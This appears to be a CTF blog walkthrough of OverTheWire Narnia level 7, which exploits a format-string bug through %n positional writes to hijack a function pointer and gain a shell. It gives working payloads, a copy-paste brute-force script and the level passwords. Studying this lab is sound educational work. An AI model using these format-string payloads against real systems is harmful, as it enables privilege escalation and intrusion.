Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Narnia Level 7 → 8 tutorial!!

Login

Use the password you got from Level 6 → 7 (in my run it was akhiaziphU).

ssh narnia7@narnia.labs.overthewire.org -p 2226
# password: akhiaziphu

Task

There’s a single binary /narnia/narnia7 and its source. The program prints two function addresses (goodfunction and hackedfunction), then formats our input with snprintf, and finally calls a function pointer ptrf.

Goal: redirect execution to hackedfunction() (which sets SUID and spawns /bin/sh).


A little bit of Theory

  • Format string vuln: using printf-family with a user-controlled format string (no "%s" around it) allows write primitives via %n.
  • %n stores the number of bytes printed so far into the address passed as the corresponding argument.
  • Positional form %<index>$n tells printf which argument slot to use (1st, 2nd, …) when many things are on the stack.
  • We’ll:

    1. Put the address of ptrf (where the function pointer lives) into our input so it sits on the stack,
    2. Pad the output with enough characters so that the byte count equals the address of hackedfunction,
    3. Use %<k>$n to write that count into ptrf, thus overwriting it with hackedfunction’s address.

Further reading

  • “Format String Exploitation” by scut (classic paper)
  • man 3 printf (see %n and positional parameters)
  • Shellcoders Handbook — format strings chapter

Recon

Run the program once:

cd /narnia
./narnia7 ABCD

Example output (addresses differ per box snapshot):

goodfunction()  = 0x080486ff
hackedfunction()= 0x08048724

before : ptrf() = 0x080486ff (0xffffd638)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..

Key facts we now have:

  • hackedfunction = 0x08048724
  • ptrf is stored at stack address e.g. 0xffffd638 (the number in parentheses)

Plan

We want to write 0x08048724 into *(void**)0xffffd638.

snprintf counts how many characters it has printed so far. Our payload will:

  1. Begin with the raw little-endian address of ptrf (so it becomes an argument on the stack).
  2. Print a huge padding so that the total printed length equals 0x08048724 (or the same value minus any already-printed bytes).
  3. Use %<k>$n to write that count into the k-th argument (the slot where our address sits).

In my run, 4 bytes have already been “consumed” before the %n write, so I used:

134514464 = 0x08048720 = 0x08048724 - 4

We also have to find the right positional index. If %1$n crashes, try %2$n, %3$n, …


Exploit

1) Try with %1$n (often wrong)

./narnia7 $(python -c 'print "\x38\xD6\xFF\xFF" + "%134514464d%1$n"')
# Segmentation fault → our address is not at slot #1

2) Use %2$n (worked in my session)

./narnia7 $(python -c 'print "\x38\xD6\xFF\xFF" + "%134514464d%2$n"')

If it succeeds you’ll see the “Way to go!!!!” from hackedfunction() and then get a shell:

whoami
# narnia8
cat /etc/narnia_pass/narnia8
# mohthuphog   ← (this was my password; yours may differ)

Why %2$n?

On this binary the first stack slot consumed by the format machinery isn’t our injected address. The second slot is our 0xffffd638, so %2$n hits the correct pointer. If it didn’t, we’d continue brute-forcing (%3$n, %4$n, …). You can verify indexes by sprinkling %x/%p to dump the stack, then counting.


Troubleshooting

  • Segfault immediately → Wrong positional index. Try %2$n, %3$n, … up to ~10.
  • No shell / still goodfunction() → Padding count is off. Recalculate:

    • Target count: 0x08048724 → decimal 134514468.
    • Subtract the number of already printed bytes before %n. If you begin with the raw 4-byte address, subtract 4134514464.
  • Garbage from your shell → Your terminal ate backslashes. Always use Python to emit raw bytes as shown.
  • Addresses differ → Use the addresses your binary prints (do not copy mine verbatim).

Copy-paste quick run

cd /narnia

# Replace 0xffffd638 with the 'ptrf' stack address printed by your run
PTRF=$(/narnia/narnia7 test 2>/dev/null | awk '/before : ptrf/ {gsub(/[()]/,""); print $6}')

# Compute padding (target 0x08048724 minus 4)
PAD=134514464

# Try positional slots 1..5 until one works
for k in 1 2 3 4 5; do
  echo "[*] Trying index %${k}\$n at ptr=${PTRF}..."
  /narnia/narnia7 "$(python - <<PY
import sys
ptr = int(sys.argv[1],16)
pad = int(sys.argv[2])
sys.stdout.write(ptr.to_bytes(4,'little'))
sys.stdout.write("%%%dd%%%d\$n" % (pad, int(sys.argv[3])))
PY
"$PTRF" "$PAD" "$k")" && break
done

whoami
cat /etc/narnia_pass/narnia8

Password

From my run, the password for narnia8 was:

mohthuphog

(Use the one your box prints.)


Congrats 🎉 You just turned a format-string bug into a write-what-where to hijack a function pointer and win a shell. See you in Level 8 → 9!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with